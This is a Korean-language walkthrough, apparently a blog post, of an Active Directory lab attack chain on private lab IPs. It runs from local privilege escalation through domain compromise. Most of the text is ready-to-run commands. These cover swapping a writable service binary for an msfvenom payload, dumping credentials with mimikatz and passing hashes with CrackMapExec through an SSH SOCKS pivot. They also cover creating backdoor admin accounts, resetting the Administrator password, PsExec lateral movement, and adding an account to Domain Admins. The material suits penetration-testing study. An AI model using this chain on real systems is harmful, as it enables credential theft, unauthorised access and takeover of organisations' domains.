Hacking Windows Domain Active Directory Series - Episode 03
Hacking Windows Domain Active Directory Series - Episode 03
In this document, the following attack scenarios were covered:
- Windows Privilege Escalation (Local Windows account)
- Credentials Dumping with Mimikatz
- File transfer techniques (HTTP, SCP, SMB between Windows)
- Password Spraying attack with CrackMapExec CME (PtH)
- Network Pivoting with native SSH client tool on Windows 10
- PsExec Lateral movement from Windows to Windows
1. 권한상승
이 시나리오 에서는 192.168.50.11 (windows 10)에 로그인 할수 있는 로컬 backup 계정이 있다.
권한이 낮고 rdp 를 사용할수 있다.
github에 winPEAS.bat를 이용해서 권한 상승을 시도해 보자.
칼리에서 다운로드 하자.
wget https://github.com/carlospolop/PEASS-ng/blob/master/winPEAS/winPEASbat/winPEAS.bat
칼리에서 python web server 를 돌리고 192.168.50.11 (windows 10) 에서 다운로드 하자.
powershell wget http://192.168.50.9/winPEAS.bat -outfile winPEAS.bat
winPEAS.bat
작업을 마칠 때까지 시간이 오래 걸린다.
테스트 에서는 실행시 에러가 발생했다.
다른 툴로는 github PowerUp.ps1 가 있다.
칼리에서 다운로드 하자.
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
192.168.50.11 (windows 10) 에서 다운로드 하자.
powershell wget http://192.168.50.9/PowerUp.ps1 -outfile PowerUp.ps1
powershell
powershell -executionpolicy bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
출력 결과를 확인해 보면 Service Name 에 AbyssWebServer가 보인다.
restart 가 가능하며 서비스 파일을 수정 할수 있다는 정보도 확인된다.
Abyss Web Server 폴더로 이동해서 abyssws.exe 파일을 abyssws.exe.bak 로 수정하자.
이제 칼리로 가서 payload 파일을 만들자.
msfvenom -p windows/x64/exec CMD="net localgroup administrators backup /add" -f exe > abyssws.exe
192.168.50.11 (windows 10) 에서 backup 계정을 한번더 확인해 보자.
net user backup
payload 파일을 다운로드 하자.
powershell wget http://192.168.50.9/abyssws.exe -outfile abyssws.exe
net stop "Abyss Web Server"
net start "Abyss Web Server"
실행은 제대로 되지 않는다.
하지만 아래 명령어로 확인해 보면 권한 상승에 성공했다.
backup 이 로컬 Administrators 멤버가 되었다.
net user backup
이제 cmd.exe 를 관리자 계정으로 실행하자.
2. 계정 정보 덤프
이제 칼리 에서 mimikatz.exe를 찾아 보자.
find / -name mimikatz.exe 2>/dev/null
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .
192.168.50.11 (windows 10) 에서 mimikatz 을 다운로드 하자.
scp root@192.168.50.9:/root/ActiveDirectory/Episode03/mimikatz.exe .
mimikatz.exe
privilege::debug
sekurlsa::logonPasswords
덤프 결과 emily domain user 와 ntlm 해쉬값이 검색 되었다.
crackmapexec smb 192.168.50.11 -u emily -H 해쉬값
3. 리모트 포워딩을 이용한 pivot
pivot 을 위해 192.168.50.11 (windows 10) 에서 ssh 리모트 포워딩을 이용하자.
ssh -R 1080 root@192.168.50.9
칼리 리눅스에서 다음 명령어를 실행하자.
netstat -tulpn
포트 1080에 액세스 할수 있다는 것을 확인할수 있다.
proxychains4.conf 을 확인해 보자.
cat /etc/proxychains4.conf
아래 내용이 있는지 확인해 보자
socks5 127.0.0.1 1080
이제 아래 명령어로 dc 에 접근할수 있다.
proxychains crackmapexec smb 10.0.2.7 -u emily -H 해쉬값
출력 결과를 보면 접근 가능하다는 것을 확인할수 있다.
4. 패스워드 스프레이
패스워드 스프레이 공격을 해보자.
nano targets.txt
아래 서버 리스트를 추가하자.
192.168.50.11
10.0.2.15
10.0.2.7
참고로 ip는 192.168.50.11 (windows 10) 에서 arp -a 로 확인 할수 있다.
dc 는 ipconfig /all 에서 dns server 를 확인 해도 된다.
proxychains crackmapexec smb targets.txt -u emily -H 해쉬값
emily 가 개발서버 (10.0.2.15)의 관리자 권한을 갖고 있다는 것을 확인했다.
5. 개발 서버 접속
개발서버에 새로운 사용자 hacker 를 추가하자.
proxychains crackmapexec smb 10.0.2.15 -u emily -H 해쉬값 -x "net user hacker mypassword2@ /add"
hacker 에 local admin 권한을 주자.
hacker 계정을 만드는 이유는 아래 psexec 에서 해쉬값 비번을 이용 못하기 때문인것 같다.
proxychains crackmapexec smb 10.0.2.15 -u emily -H 해쉬값 -x "net localgroup administrators hacker /add"
6. Microsoft psexec 를 이용한 lateral movement
microsoft 에서 psexec를 다운로드 하자.
wget https://download.sysinternals.com/files/PSTools.zip
unzip PSTools.zip -d PSTools/
192.168.50.11 (windows 10) 에서 다운로드 하자.
powershell wget http://192.168.50.9/PsExec64.exe -outfile PsExec64.exe
PsExec64.exe \\10.0.2.15 -u .\hacker -p mypassword2@ -i cmd
접속이 안된다.
여기서 중요한 부분은 psexec 가 작동 하려면 기본 uid 500 관리자 계정 이어야 한다.
칼리에서 다음 명령어로 로컬 Administrator 비번을 변경하자.
proxychains crackmapexec smb 10.0.2.15 -u emily -H 해쉬값 -x "net user Administrator mypassword2@"
이제 192.168.50.11 (windows 10) 에서 psexec 를 다시 실행하자.
PsExec64.exe \\10.0.2.15 -u Administrator -p mypassword2@ -i cmd
이제 개발서버 (10.0.2.15) shell로 들어가게 된다.
mimikatz을 10.0.2.15로 전송해서 덤프를 진행하자.
192.168.50.11 (windows 10) 에서 desktop 폴더를 smb 공유하자.
탐색기에서 desktop > properties > sharing > share
이제 위에 연결한 shell 에서 명령어를 실행하자.
net use * \\10.0.2.15\Users\Backup\Desktop /user:backup mypassword2@
drive Z 로 마운트 되었다.
Z:
dir
mimikatz.exe 을 확인할수 있다.
mimikatz.exe 을 전송하지 않고 개발서버 (10.0.2.15) shell 에서 mimikatz.exe을 바로 실행하자.
mimikatz.exe
privilege::debug
sekurlsa::logonPasswords
bross 라는 계정이 보인다.
다시 비밀번호 스프레이 공격을 해보자.
proxychains crackmapexec smb targets.txt -u bross -H 해쉬값
bross 가 도메인 관리자 라는 것을 확인할수 있다.
dc에 netwaif 계정을 만들자.
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값 -x "net user netwaif mypassword2@ /add"
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값 -x "net group \"Domain Admins\" netwaif /add"
7. DC 접속
192.168.50.11 (windows 10) 으로 가서 psexec 를 이용해 dc 로 접속하자.
PsExec64.exe \\10.0.2.7 -u netwaif -p mypassword2@ -i cmd